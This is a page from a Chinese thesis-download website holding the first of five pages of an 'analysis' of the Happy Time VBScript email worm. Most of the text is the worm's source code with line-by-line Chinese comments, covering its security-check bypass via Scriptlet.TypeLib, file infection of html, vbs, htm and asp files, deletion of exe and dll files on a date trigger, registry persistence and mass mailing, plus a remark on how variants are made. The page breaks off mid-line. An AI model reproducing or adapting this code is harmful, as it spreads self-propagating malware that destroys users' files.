WWW.51LUNWEN.COM 无忧论文网
| 无忧英国论文网 | 无忧免费论文网|英国·澳大利亚·新西兰·加拿大·美国·荷兰】
无忧论文网无忧论文网名校师资提供一流服务
2008/12/4 星期四
论文首页 | 留学论文 | 硕士论文 | MBA论文 | 金融硕士 | 博士论文 | 代写论文 | 代写Assignment| 翻译服务 | 支付方式
论文下载 | 论文写作 | 论文格式 | 本科论文 | 论文老师 | 论文出售 | 论文发表 | 发表供需| 教育导航 我的无忧  
英语论文|工商管理|市场营销|物流论文|人力资源|电子商务|旅游管理学|项目管理|行政管理|经济论文|金融论文|国际贸易|法律论文|日语论文|
教育论文|政治论文|社会哲学|新闻媒体|保险论文|会计财务|计算机科学|建筑论文|通讯论文|土木工程|医学论文|论文写作|留学文书|应用范文|
无忧论文网论文下载中心 [自然科学类][计算机科学][计算机应用]欢乐时光代码分析
本类导航  
计算机科学
 →计算机软件
 →计算机应用
 →计算机网络
 →计算机数据库
 →计算机硬件
本专业最热门的论文 
图书馆管理系统(20308)
电子商务安全机制研究-支付系统的研究与实现(3558)
数据加密技术(3073)
《编译技术》多媒体课件制作(附开题报告,任务书,外文资料翻译等)(2980)
中小企业网站建设(2762)

Google 英语论文 硕士论文 论文下载 论文发表
支付方式咨询:357500023@qq.com
论文题目: 欢乐时光代码分析
论文编号: lw200708221055489929
编辑: li
论文属性: 学术论文
论文国籍:
论文语言:中文
登出日期: 2007-08-22  
点击次数:1357
论文字数:3521
购买价格: 免费论文
注明:
参考相关附件:
论文大纲,目录
关键词搜索:计算机应用论文   学术论文
“欢乐时光”其实就是利用了超文本邮件中可以夹带脚本语言的特点而棋高一招的。我们知道,邮件的格式可以有两种:纯文本和超文本。超文本(HTML)功能强大就不用多说了,它可以内嵌数种脚本语言,常见的就是VBScript和JavaScript。“欢乐时光”在超文本中夹带的就是VBS。从源代码中可以看得出来,该作者很可能是长期从事网络编程的高手,他对VBS的认识可谓精通,使用的许多技术细节都鲜为人知,尤其是利用了类型库(Type Library)成功地避开了安全审核的手段更是令人叹为观止。  
  下面让我们来看看它藏在快乐的外衣下的是什么吧!  

*************** 欢乐时光 ***************
Rem I am sorry! happy time
On Error Resume Next
Mload
’以上为病毒入口,并加上I am sorry! happy time的注释,以表明此文件已被感染过。
Sub mload()
On Error Resume Next
mPath = Grf()
Set Os = CreateObject("Scriptlet.TypeLib")  
Set Oh = CreateObject("Shell.Application")
’建立枚举对象,避开了安全审核
If IsHTML Then
’调用IsHtml函数,如果是Html,就小写……  
mURL = LCase(document.Location)
If mPath = "" Then
Os.Reset  
Os.Path = "C:Help.htm"
Os.Doc = Lhtml()
Os.Write()
’如果mPath为空,就在C盘下生成Help.htm
Ihtml = ""
’超文本的内容,并指向C:Help.Htm
Call document.Body.insertAdjacentHTML("AfterBegin", Ihtml)
Else
If Iv(mPath, "Help.vbs") Then
setInterval "Rt()", 10000
Else
m = "hta"
If LCase(m) = Right(mURL, Len(m)) Then
id = setTimeout("mclose()", 1)
’设置超时条件
main
Else  
Os.Reset()
Os.Path = mPath & "" & "Help.hta"
Os.Doc = Lhtml()
Os.write()
Iv mPath, "Help.hta"
’生成Help.hta
End If
End If
End If
Else
Main
’都不是,就执行main函数  
End If
End Sub
’******************************************************************
’以下为主函数,太长了!
Sub main()
On Error Resume Next
Set Of = CreateObject("Scripting.FileSystemObject")
’不用说,创建FileSystemObject对象啦
Set Od = CreateObject("Scri无忧论文 【http://www.uklunwen.com】pting.Dictionary")
’创建Dictionary对象, 用来保存数据键和项目对,它实际上是一个比较开放的数组
Od.Add "html", "1100"  
Od.Add "vbs", "0100"
Od.Add "htm", "1100"
Od.Add "asp", "0010"
’向Dictionary对象添加要感染的项目对
Ks = "HKEY_CURRENT_USERSoftware"
’使用变量以减少代码长度  
Ds = Grf()
Cs = Gsf()
If IsVbs Then
’如果是VBS  
If Of.FileExists("C:help.htm") Then  
Of.DeleteFile ("C:help.htm")
’如果c:help.htm存在,就删掉,消灭遗留的痕迹
End If
Key = CInt(Month(Date) + Day(Date))  
If Key = 13 Then  
’如果月与日之和为13(这也是它变种多的原因——将13改为其他数字即可)
Od.RemoveAll
Od.Add "exe", "0001"
Od.Add "dll", "0001"
’就清空Dictionary数组,并将exe、dll加入Dictionary 对象,以备删除之用
End If
Cn = Rg(Ks & "HelpCount")  
’读注册表中的HKEY_CURRENT_USERSoftwareHelpCount键值
If Cn = "" Then
Cn = 1
’如果Count为0,就设为1
End If
Rw Ks & "HelpCount", Cn + 1  
’添加HKEY_CURRENT_USERSoftwareHelpCount键值,值为2
f1 = Rg(Ks & "HelpFileName")  
’再读HKEY_CURRENT_USERSoftwareHelpFileName键值
f2 = FNext(Of, Od, f1)  
’得到该文件的文件名
fext = GetExt(Of, Od, f2)  
’得到该文件扩展名的代号
Rw Ks & "HelpFileName", f2  
’添加键值
If IsDel(fext) Then  
’如果扩展名代号的第四个字符为1——即0001(exe、dll)
f3 = f2  
’储存文件名
f2 = FNext(Of, Od, f2)  
’得到文件的文件名?
Rw Ks & "HelpFileName", f2  
’写注册表
Of.DeleteFile f3  
’删除文件
Else
If LCase(WScript.ScriptFullname) <> LCase(f2) Then  
’如果不是集合中的文件
Fw Of, f2, fext
End If
End If
If (CInt(Cn) Mod 366) = 0 Then
If (CInt(Second(Time)) Mod 2) = 0 Then
’使用 Cint函数强制执行转换,并发邮件
Tsend
Else
adds = Og
Msend (adds)
End If
End If
wp = Rg("HKEY_CURRENT_USE
第1页 第2页 第3页 第4页 第5页 
上一篇:钟惦棐的困惑与当代电影美学的使命下一篇:项目管理在软件中的应用
最新论文 最热门论文
行政权与公民权研究
Disclosure environment and listing on foreign stock exchanges
Cross-Listings and M&A Activity: Transatlantic Evidence
Cost of Capital and Liquidity of Cross-Listed Chinese Companies
On Cross-cultural Awareness in English and Chinese Translation
校园网站设计
英语专业毕业论文-英语委婉语的交际功能
英语毕业论文:Collaborative Principled Negotiation
英语专业毕业论文题目汇总
图书馆管理系统
论文首页】【设为主页】【加入收藏】【打印本文】【回到顶部
 
 
 
Copyright (c) 2002 ~ 2009 无忧集团旗下网站. All rights reserved.